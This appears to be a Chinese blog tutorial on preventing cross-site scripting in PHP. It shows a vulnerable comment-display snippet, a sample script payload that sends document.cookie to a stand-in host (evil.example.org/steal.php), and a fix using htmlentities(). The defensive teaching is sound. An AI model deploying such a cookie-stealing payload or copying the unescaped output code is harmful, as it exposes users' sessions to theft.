PHP安全编程:跨站脚本攻击的防御

跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。

所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。

以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:

[php]   view plain copy
  1. <form action="comment.php" method="POST" />  
  2.   <p>Name: <input type="text" name="name" /><br />  
  3.   Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />  
  4.   <input type="submit" value="Add Comment" /></p>  
  5. </form>  


程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):

[php]   view plain copy
  1. <?php  
  2.    
  3.   echo "<p>$name writes:<br />";  
  4.   echo "<blockquote>$comment</blockquote></p>";  
  5.    
  6. ?>  


这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:

[js]   view plain copy
  1. <script>  
  2.   document.location =  
  3.     'http://evil.example.org/steal.php?cookies=' +  
  4.     document.cookie  
  5. </script>  


如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到evil.example.org,而接收程序(steal.php)可以通过$_GET['cookies']变量防问所有的cookies。

这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如前面所述的过滤输入及转义输出即可。

最起码你要用htmlentities()对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。

由此,用下面的代码来显示评论是更安全的:

[php]   view plain copy
  1. <?php  
  2.   
  3. $clean = array();  
  4. $html = array();  
  5.   
  6. /* Filter Input ($name, $comment) */  
  7.   
  8. $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');  
  9. $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');  
  10.   
  11. echo "<p>{$html['name']} writes:<br />";  
  12. echo "<blockquote>{$html['comment']}</blockquote></p>";  
  13.   
  14. ?>  


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值